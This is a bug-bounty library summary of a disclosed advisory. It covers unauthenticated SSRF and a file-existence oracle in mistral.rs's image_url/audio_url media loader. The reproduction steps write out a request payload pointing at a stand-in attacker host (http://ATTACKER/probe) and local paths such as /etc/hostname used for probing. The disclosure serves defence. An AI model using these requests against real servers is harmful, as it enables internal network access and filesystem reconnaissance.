# mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url

mistral.rs fetches request-supplied image_url/audio_url with no host validation and opens bare local paths, giving unauthenticated SSRF and a file-existence oracle.

- Payout: Research
- Severity: high
- Program: mistral.rs
- Found by: koyokr
- Disclosed: 2026-09-10
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wfgq-w7cq-qj7j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-wfgq-w7cq-qj7j
- Tags: area:ai domain:ai domain:api impact:internal-access kind:research platform:ghsa sev:high tech:rust technique:source-review vuln:info-disclosure vuln:path-traversal vuln:ssrf

**Target:** OpenAI-compatible /v1/chat/completions media loader (image_url/audio_url)
**Root cause:** parse_image_url/parse_audio_url resolve request strings directly: http(s) fetched via reqwest::get with no IP/allowlist/redirect checks, and any bare existing path or file:// URL is opened and read.
**Steps:**
1. Send `POST /v1/chat/completions` with content `{"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}}`; server issues out-of-band GET to ATTACKER and follows redirects to internal/metadata hosts.
2. Send `image_url.url` = `/etc/hostname`; server opens and reads the file, then fails decoding -> 500 "The image format could not be determined".
3. Send `image_url.url` = `/nonexistent`; server bails -> 500 "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server."
4. Compare the two error bodies to confirm file existence on the server filesystem.
**How found:** Code review of util.rs parse_image_url: noticed the fallback that treats any parseable-as-existing path as a file URL and the unguarded reqwest::get, then compared error paths to build the existence oracle.
**Exploitation:** Unauthenticated attacker posts a chat completion whose image_url points at an attacker host (blind SSRF egress, redirects followed to internal/metadata) or at a local path (opened and read, error message leaks existence/type). No content is returned; primitive is blind egress plus a filesystem existence oracle, plus worker exhaustion via unbounded/no-timeout fetches.
**Escalation:** Redirect following extends SSRF reach to internal and cloud-metadata endpoints; error-message differential turns file open into an enumeration oracle.
**Insight:** In LLM serving stacks, media URL fields are attacker-controlled input to a fetcher; check whether bare strings fall through to local file open and whether error messages differ between existing and missing paths — that differential is a free filesystem oracle even when contents aren't returned.

